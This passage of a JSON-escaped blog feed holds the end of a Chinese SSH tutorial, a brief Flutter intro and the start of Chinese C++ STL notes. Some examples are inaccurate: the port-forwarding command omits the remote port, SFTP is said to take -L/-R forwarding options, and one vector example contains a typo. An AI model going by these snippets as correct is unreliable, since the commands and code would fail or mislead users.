class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh [options] [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[options]\u003c/code\u003e 是可选的参数,例如 \u003ccode\u003e-i\u003c/code\u003e 指定要使用的私钥文件,\u003ccode\u003e-L\u003c/code\u003e 指定要使用的本地端口转发,\u003ccode\u003e-R\u003c/code\u003e 指定要使用的远程端口转发等。\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要使用密钥文件 \u003ccode\u003eid_rsa\u003c/code\u003e 登录远程主机 \u003ccode\u003eexample.com\u003c/code\u003e,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh -i id_rsa example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2-传输文件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#2-%E4%BC%A0%E8%BE%93%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"2. 传输文件\"\u003e\u003c/a\u003e2. 传输文件\u003c/h3\u003e\u003cp\u003eOpenSSH 还提供了一种安全传输文件的方法,称为 SFTP(SSH 文件传输协议)。要使用 SFTP 传输文件,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esftp [options] [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[options]\u003c/code\u003e 是可选的参数,例如 \u003ccode\u003e-i\u003c/code\u003e 指定要使用的私钥文件,\u003ccode\u003e-L\u003c/code\u003e 指定要使用的本地端口转发,\u003ccode\u003e-R\u003c/code\u003e 指定要使用的远程端口转发等。\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要使用密钥文件 \u003ccode\u003eid_rsa\u003c/code\u003e 将本地文件 \u003ccode\u003efile.txt\u003c/code\u003e 传输到远程主机 \u003ccode\u003eexample.com\u003c/code\u003e,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esftp -i id_rsa example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"高级用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#%E9%AB%98%E7%BA%A7%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"高级用法\"\u003e\u003c/a\u003e高级用法\u003c/h2\u003e\u003ch3 id=\"1-端口转发\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#1-%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91\" class=\"headerlink\" title=\"1. 端口转发\"\u003e\u003c/a\u003e1. 端口转发\u003c/h3\u003e\u003cp\u003eOpenSSH 提供了一种称为端口转发的功能,允许您将本地端口与远程端口进行映射。这使得您可以在本地网络上使用远程服务,而无需将服务暴露给外部网络。要使用端口转发,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh -L [local_port:]local_host [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[local_port]\u003c/code\u003e 是本地端口的名称,\u003ccode\u003elocal_host\u003c/code\u003e 是本地主机的名称或 IP 地址,\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要将本地端口 8080 映射到远程主机的 SSH 服务(端口 22),可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh -L 8080:localhost username@example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"2-配置-SSH-密钥\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/25/ssh-usage/#2-%E9%85%8D%E7%BD%AE-SSH-%E5%AF%86%E9%92%A5\" class=\"headerlink\" title=\"2. 配置 SSH 密钥\"\u003e\u003c/a\u003e2. 配置 SSH 密钥\u003c/h3\u003e\u003cp\u003e为了提高安全性,您可以配置 SSH 密钥,以便在进行远程登录时无需输入密码。要配置 SSH 密钥,您需要使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-keygen [options] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[options]\u003c/code\u003e 是可选的参数,例如 \u003ccode\u003e-t\u003c/code\u003e 指定密钥类型,\u003ccode\u003e-C\u003c/code\u003e 指定密钥注释等。\u003cbr/\u003e例如,如果您要生成一个 RSA 密钥对,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-keygen -t rsa -C \u0026#34;your_email@example.com\u0026#34; \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e配置完 SSH 密钥后,您需要将公钥添加到远程主机的 \u003ccode\u003eauthorized_keys\u003c/code\u003e 文件中,以便在进行远程登录时无需输入密码。要将公钥添加到远程主机的 \u003ccode\u003eauthorized_keys\u003c/code\u003e 文件中,您可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-copy-id [username]@[hostname] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e[username]\u003c/code\u003e 是远程主机的用户名,\u003ccode\u003e[hostname]\u003c/code\u003e 是远程主机的主机名或 IP 地址。\u003cbr/\u003e例如,如果您要将公钥添加到远程主机 \u003ccode\u003eexample.com\u003c/code\u003e 的 \u003ccode\u003eauthorized_keys\u003c/code\u003e 文件中,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003essh-copy-id username@example.com \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/25/ssh-usage/"},{"title":"flutter-intro","time":"2023-09-16T08:34:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"What-is-Flutter\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#What-is-Flutter\" class=\"headerlink\" title=\"What is Flutter\"\u003e\u003c/a\u003eWhat is Flutter\u003c/h2\u003e\u003cp\u003eOne set of code (\u003ccode\u003elib\u003c/code\u003e), multi platforms.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eandroid, windows, linux, ios, etc.\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003eIt’s for client apps\u003c/li\u003e\u003cli\u003ePlatform regardless\u003c/li\u003e\u003cli\u003eEasy to hand on, easy to develop\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003edart=js/cpp+java: code taste + dart vm\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"Basic-code-format\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Basic-code-format\" class=\"headerlink\" title=\"Basic code format\"\u003e\u003c/a\u003eBasic code format\u003c/h2\u003e\u003cp\u003etldr\u003c/p\u003e\u003cul\u003e\u003cli\u003eEmpty safety: \u003ccode\u003etype?\u003c/code\u003e means var is nullable\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eThis will trigger empty check, avoid npe\u003c/p\u003e\u003cul\u003e\u003cli\u003elate init\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eJust like Kotlin\u003c/p\u003e\u003cul\u003e\u003cli\u003eAsync\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Basic-layouts\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Basic-layouts\" class=\"headerlink\" title=\"Basic layouts\"\u003e\u003c/a\u003eBasic layouts\u003c/h2\u003e\u003cul\u003e\u003cli\u003eWidget\u003c/li\u003e\u003cli\u003eText\u003c/li\u003e\u003cli\u003eWarp\u003c/li\u003e\u003cli\u003eRow-Column\u003c/li\u003e\u003cli\u003eContainer\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Basic-scaffolds\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Basic-scaffolds\" class=\"headerlink\" title=\"Basic scaffolds\"\u003e\u003c/a\u003eBasic scaffolds\u003c/h2\u003e\u003cul\u003e\u003cli\u003eAppBar\u003c/li\u003e\u003cli\u003eAction\u003c/li\u003e\u003cli\u003eTItle\u003c/li\u003e\u003cli\u003eTabBar\u003c/li\u003e\u003cli\u003eBody\u003c/li\u003e\u003cli\u003eBottomBar\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Network\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/16/flutter-intro/#Network\" class=\"headerlink\" title=\"Network\"\u003e\u003c/a\u003eNetwork\u003c/h2\u003e\u003cp\u003eMainly using \u003ccode\u003eDio\u003c/code\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/16/flutter-intro/"},{"title":"C++-STL速通","time":"2023-09-14T14:09:12Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003eC++用的比较少,最近准备试试CSP。于是就得赶紧学学STL。以前是用过,但是没咋记下来。\u003c/p\u003e\u003cp\u003e想查看所有std实体的话,使用下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eapropos -r \u003cspan class=\"string\"\u003e\u0026#39;^std\u0026#39;\u003c/span\u003e | vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e关于\u003ccode\u003eapropos\u003c/code\u003e,它是LINUX系统中的一个命令,用来通过关键字查找定位手册页的名字和描述。 它相当于使用带有-k选项的man命令。 每个手册页里都有一个简短的描述。 apropos在这个描述中查找keyword。\u003c/p\u003e\u003ch2 id=\"分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"分类\"\u003e\u003c/a\u003e分类\u003c/h2\u003e\u003cul\u003e\u003cli\u003e顺序式:\u003ccode\u003evector, list, deque\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ebegin\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eend\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003erbegin\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003erend\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003efront\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eback\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eerase\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eclear\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epush_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003epop_back\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003einsert\u003c/span\u003e()\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"Vector\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#Vector\" class=\"headerlink\" title=\"Vector\"\u003e\u003c/a\u003eVector\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;vector\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e简而言之就是数组,但是优化过,缝合了诸如队列、栈一类的特性。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; vec; \u003cspan class=\"comment\"\u003e// 声明一个空的vector\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 大小为10, 初始值为1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldVec)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldVec.begin(), dolVec.begin()+\u003cspan class=\"number\"\u003e3\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(arr, arr+\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化vec\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003evec\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u0026amp;arr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], \u0026amp;arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e])\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 用数组初始化vec, 注意这里是超尾, 与end相对应\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e那么如果我希望直接在下标为5的位置直接放入这个3呢,那不是需要先往里塞入5个0才可以么?这种情况,我们就可以定义一下vector的长度,然后就可以当做数组一样用了\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003evector\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003ea\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"List\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/14/cpp-stl/#List\" class=\"headerlink\" title=\"List\"\u003e\u003c/a\u003eList\u003c/h3\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e双向链表。因此并不支持随机访问。尾部插入元素效率很高。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; l;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e5\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 含有5个元素的list, 初始值为0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 含有10个元素的list, 初始值为1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldL)\u003c/span\u003e\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 复制构造\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003elist\u0026lt;\u003cspan class=\"type\"\u003eint\u003c/span\u003e\u0026gt; \u003cspan class=\"title\"\u003el\u003c/span\u003e\u003cspan class=\"params\"\u003e(oldL.begin(), oldL.end())\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, 